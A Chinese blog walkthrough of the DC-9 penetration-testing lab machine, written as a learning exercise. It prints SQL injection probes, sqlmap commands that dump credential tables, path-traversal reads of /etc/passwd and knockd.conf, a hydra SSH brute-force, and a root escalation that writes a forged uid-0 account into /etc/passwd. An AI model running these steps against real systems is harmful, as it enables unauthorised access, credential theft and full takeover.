渗透测试学习之靶机DC-9

过程
1. 探测目标主机

nmap -sP 192.168.246.0/24,得到目标主机IP:192.168.246.146
在这里插入图片描述

2. 信息搜集
  • 端口信息
    nmap -sV -p 1-65535 192.168.246.146
    在这里插入图片描述
  • web站点相关服务信息
    在这里插入图片描述
  • 目录信息
    在这里插入图片描述
    注:不要试着访问welcome.php、session.php和addrecord.php不然会直接跳到登录后的页面,但是并不能做任何操作…无用功,访问了也没关系,清除下缓存就可以了。
3. sql注入(post)
  • 判断注入
    点击search,也就是在search.php页面中,输入Mary' and 1=1#Mary' and 1=2#,前者返回Mary的结果,后者为空,存在sql注入。
    在这里插入图片描述在这里插入图片描述
  • 获取数据库信息
    使用Burp抓包:
    在这里插入图片描述
    将post包保存为dc9.txt,然后进入使用sqlmap
    sqlmap -r /root/Desktop/dc9.txt -p search --dbs
    在这里插入图片描述
    sqlmap -r /root/Desktop/dc9.txt -p search -D users --tables
    在这里插入图片描述
    sqlmap -r /root/Desktop/dc9.txt -p search -D users -T UserDetails --columns
    在这里插入图片描述
    sqlmap -r /root/Desktop/dc9.txt -p search -D users -T UserDetails -C firstname,lastname,username,password --dump
    在这里插入图片描述
    但是使用这些账号登录不了,可能是ssh的,但是ssh给过滤了,跑另一个数据库(方法一样):
    sqlmap -r /root/Desktop/dc9.txt -p search -D Staff --tables
    在这里插入图片描述
    sqlmap -r /root/Desktop/dc9.txt -p search -D Staff -T Users --columns
    在这里插入图片描述
    整个dump下来:
    sqlmap -r /root/Desktop/dc9.txt -p search -D Staff -T Users --dump
    在这里插入图片描述
4. 登录后台

在这里插入图片描述
Add Record这个也没什么用,然后看到下面有个File does not exist,估计是文件包含:
在这里插入图片描述
尝试:
http://192.168.246.146/manage.php?file=../../../../etc/passwd
在这里插入图片描述
可以看到下面的用户,跟之前sqlmap跑出来的username有些对应上,但是22端口过滤了…
参考大佬文章得知,knockd.conf文件端口敲门服务,用于将服务器隐藏,也是这个原因让22端口给过滤了。
利用文件包含来查看knockd.conf文件,获得自定义端口,然后逐个进行敲门,这样我们就能够开启ssh端口:
http://192.168.246.146/manage.php?file=../../../../etc/knockd.conf
在这里插入图片描述
使用nmap:
nmap -p 7469 192.168.246.146
nmap -p 8475 192.168.246.146
nmap -p 9842 192.168.246.146
在这里插入图片描述
使用hydra看一下哪些用户可以登上ssh。
将用户名密码分别保存为user.txt和pass.txt文件中:
注意字典里不要有空格。
在这里插入图片描述
hydra爆破:
hydra -L /root/Desktop/user.txt -P /root/Desktop/pass.txt 192.168.246.146 ssh
在这里插入图片描述

5. 登录ssh

使用爆破出来的用户登录,然后查看文件ls -la(可查看隐藏目录文件),在用户janitor中发现隐藏的secrets-for-putin目录,里面含有密码passwords-found-on-post-it-notes.txt,查看后是:
在这里插入图片描述
增加在pass.txt后重新进行爆破:
hydra -L /root/Desktop/user.txt -P /root/Desktop/pass.txt 192.168.246.146 ssh
在这里插入图片描述
使用新的登录:
查看有无免密执行root的:
sudo -l
在这里插入图片描述

6. 提权

进入/opt/devstuff目录下,看到test.py文件:
在这里插入图片描述
含义:3个参数,将第二个参数的文件内容增加在第三个参数文件里面。
test目录可以root权限执行:
参考大佬思路:构造有root权限的账户放入到/etc/passwd中,利用构造的账户登录,就有了root权限了。
使用openssl生成:
openssl passwd -1 -salt xl xiaoLin
在这里插入图片描述
构造结果:xl:$1$xl$bvz59wqTT5z0GPenBl09W.:0:0::/root:/bin/bash
写入到tmp目录下的xl中:
echo 'xl:$1$xl$bvz59wqTT5z0GPenBl09W.:0:0::/root:/bin/bash' > /tmp/xl
在这里插入图片描述
执行test:
sudo ./test/ /tmp/xl /etc/passwd
然后切换用户:
su xl
xiaoLin
在这里插入图片描述
进入root目录,查看theflag.txt:
在这里插入图片描述

总结
  • 1
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值